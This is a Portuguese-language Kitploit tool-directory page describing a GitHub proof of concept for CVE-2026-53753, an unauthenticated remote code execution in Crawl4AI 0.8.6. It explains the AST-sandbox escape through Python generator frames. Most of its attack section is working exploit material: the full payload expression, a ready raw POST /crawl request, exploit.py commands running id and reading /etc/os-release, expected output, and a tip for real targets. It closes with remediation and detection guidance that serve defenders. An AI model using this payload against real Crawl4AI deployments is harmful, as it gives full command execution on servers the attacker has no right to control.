Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 RCE não autenticado (escape de sandbox AST via gi_frame.f_back). Lab + PoC, verificado e2e. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Análise EstáticaAnálise Dinâmica (Sandboxing)Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
Labs e Prática
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 RCE não autenticado (escape de sandbox AST via gi_frame.f_back). Lab + PoC, verificado e2e.

Ver Repositório
4há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-53753 — Execução Remota de Código Não Autenticada no Crawl4AI (Escape de Sandbox AST)

RCE pré-autenticação no Crawl4AI < 0.8.7. Um esquema JsonCssExtractionStrategy maliciosamente elaborado enviado ao endpoint não autenticado POST /crawl chega ao avaliador de campos computados (_safe_eval_expression), escapa de sua lista de permissões AST através de objetos de frame do Python, alcança os builtins reais e executa __import__('os').popen(<cmd>).read() — retornando a saída do comando in-band na resposta JSON.

CVECVE-2026-53753
AvisoGHSA-qxjp-w3pj-48m7
AfetadoCrawl4AI <= 0.8.6
Corrigido0.8.7
ClasseCWE-94 (Injeção de Código) / Escape de sandbox Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaçãoNenhum — configuração fornecida tem jwt_enabled: false
StatusCONFIRMADO — reproduzido de ponta a ponta na imagem oficial unclecode/crawl4ai:0.8.6

Índice

  1. Causa raiz
  2. Anatomia da carga útil, linha por linha
  3. Por que a caminhada de frames alcança builtins reais
  4. Configuração do laboratório
  5. Executar o exploit
  6. Saída esperada
  7. Requisição HTTP bruta
  8. Solução de problemas
  9. Impacto / Remediação / Detecção
  10. Validação

Aprofundamento: veja ANALYSIS.md para uma análise nó a nó da AST, a pilha de frames em tempo de execução, o fluxo de dados da requisição e o diff do patch.


1. Causa raiz

crawl4ai/extraction_strategy.py permite que um esquema de extração defina campos computados — pequenas expressões Python avaliadas por item extraído. Eles são executados por _safe_eval_expression(), que tenta isolar a expressão com uma lista de permissões AST e um __builtins__ reduzido:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

O validador é negar por prefixo: ele rejeita apenas nomes que começam com _ (mais import). Essa única heurística é toda a sandbox — e ela tem três brechas que se combinam em uma fuga completa:

#BrechaPor que é importante
1gi_frame, f_back, f_builtins não começam com _Toda a superfície de introspecção de frames/geradores do Python é acessível.
2obj['__import__'] é um ast.Subscript, não um ast.AttributeO validador nunca inspeciona chaves de subscrito de dicionário, então a chave dunder __import__ passa.
3A cadeia f_back de um gerador em execução leva a um frame externo cujo f_builtins é o real builtinsEscapa do _SAFE_EVAL_BUILTINS reduzido de volta ao completo (__import__, etc.).

O esquema chega a esta função sem autenticação: a API Docker vem com security.jwt_enabled: false, então a dependência de token do /crawl é lambda: None.

2. Anatomia da carga útil, linha por linha

A expressão do campo computado é:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Lendo peça por peça:

FragmentoFunçãoPor que o validador permite
(lambda: ... )()Cria um escopo de função para que o nome vinculado ao operador morsa viva em uma célula de fechamento.ast.Lambda não é verificado.
g := ( <expr> for i in [1])Vincula o gerador a g e o corpo do gerador referencia g (ele mesmo).:= e expressões geradoras não são verificados. (Walrus é ilegal em um iterável de compreensão, então é colocado em um elemento de tupla.)
list(g)Aciona o gerador — para que seu frame esteja ativo quando o corpo for executado.list está nos builtins seguros.
g.gi_frameO objeto frame do gerador.gi_frame não começa com _.
.f_back.f_back.f_backSobe três frames até um com os builtins reais.f_back não começa com _.
.f_builtinsO mapeamento de builtins daquele frame (o real).f_builtins não começa com _.
['__import__']Obtém __import__ do dicionário de builtins.Subscrito de dicionário — nunca inspecionado.
('os')__import__('os') → o módulo os.O alvo da chamada é um Subscript, não um Name/Attribute.
.popen('id').read()Executa o comando e retorna sua saída padrão.popen/read não começam com _.

Como o valor do gerador é os.popen(cmd).read(), a saída padrão do comando se torna o valor do campo e é refletida de volta na resposta do /crawl — um oráculo in-band, sem necessidade de OAST.

3. Por que a caminhada de frames alcança builtins reais

Enquanto list(g) itera o gerador, a pilha de chamadas se parece com isso:

root@kitploit:~
frame: _safe_eval_expression()      <-- builtins reais  (__import__ mora aqui)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins isolados (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- isolados                                 ← f_back ×1
             └ frame: <genexpr> g   <-- EM EXECUÇÃO; g.gi_frame é este frame     ← gi_frame

g.gi_frame.f_back só é preenchido enquanto o gerador está em execução (é por isso que o gerador deve referenciar a si mesmo e ser acionado por list(g) — um gerador ainda não iniciado tem f_back is None). Caminhar f_back três vezes chega ao frame _safe_eval_expression, cujo f_builtins é o módulo completo de builtins — do qual __import__ é obtido por subscrito.

A profundidade do frame é estável para este caminho de código: f_back × 3 está correto para _safe_eval_expression do Crawl4AI 0.8.6.

4. Configuração do laboratório

A imagem oficial vem com o padrão vulnerável (sem autenticação):

root@kitploit:~
# Opção A — docker compose (host Docker normal com rede bridge)
docker compose -f lab/docker-compose.yml up -d

# Opção B — docker run simples
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Aguarde ~20 s para o pool de navegadores aquecer (docker logs crawl4ai-vuln → Application startup complete).

5. Executar o exploit

root@kitploit:~
# Inspecione o corpo da requisição sem enviá-lo:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Execute (a saída padrão do comando volta na resposta):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py usa apenas a biblioteca padrão do Python — sem dependências.

6. Saída esperada

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

O campo out é o estado ao vivo do SO (saída de id, uname, os-release do contêiner), não um eco da requisição — uid=999(appuser) é a conta de serviço do contêiner, provando execução de código dentro do host Crawl4AI. Um echo <marker> exclusivo é refletido literalmente, confirmando que o comando realmente foi executado.

7. Requisição HTTP bruta

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… torna a requisição autocontida — nenhuma busca externa é necessária; o atacante fornece o HTML inline.
  • baseSelector: "div" precisa apenas corresponder a um elemento para que um campo computado seja avaliado. Contra um alvo de rastreamento real, use qualquer seletor que corresponda à página.

8. Solução de problemas

SintomaCausa / correção
Connection refused em :11235Contêiner ainda aquecendo, ou seu daemon Docker não tem uma rede bridge utilizável. Aguarde Application startup complete; se o mapeamento de porta não vincular, execute o contêiner com --network host.
out é nullO seletor base não correspondeu a nenhum elemento — certifique-se de que o HTML raw:// contém um <div> (ou ajuste baseSelector).
Funciona no 0.8.6 mas não no 0.8.7Esperado — 0.8.7 remove _safe_eval_expression e desabilita completamente a chave expression (a correção).

9. Impacto

Qualquer cliente acessível pela rede executa comandos arbitrários do SO no host Crawl4AI sem autenticação na implantação padrão — comprometimento total do servidor e pivô para quaisquer recursos internos que ele possa alcançar.

Remediação

  • Atualize para Crawl4AI ≥ 0.8.7 (remove _safe_eval_expression; a chave de campo computado expression está desabilitada — use a chave function com um callable Python verificado em vez disso).
  • Defesa em profundidade: ative JWT (jwt_enabled: true + api_token) e nunca exponha a API do Crawl4AI a redes não confiáveis.

Detecção

Sinalize corpos de POST /crawl (e /crawl/stream) contendo gi_frame, f_back, f_builtins, ou qualquer campo computed com a chave expression.

Divulgação / créditos

  • Autor do PoC: Caio Fabrício — github.com/BiiTts
  • O crédito da vulnerabilidade pertence ao relator original do CVE/aviso; este repositório é uma reprodução independente para uso defensivo e educacional.
  • Apenas para testes de segurança autorizados.
Baixar ferramenta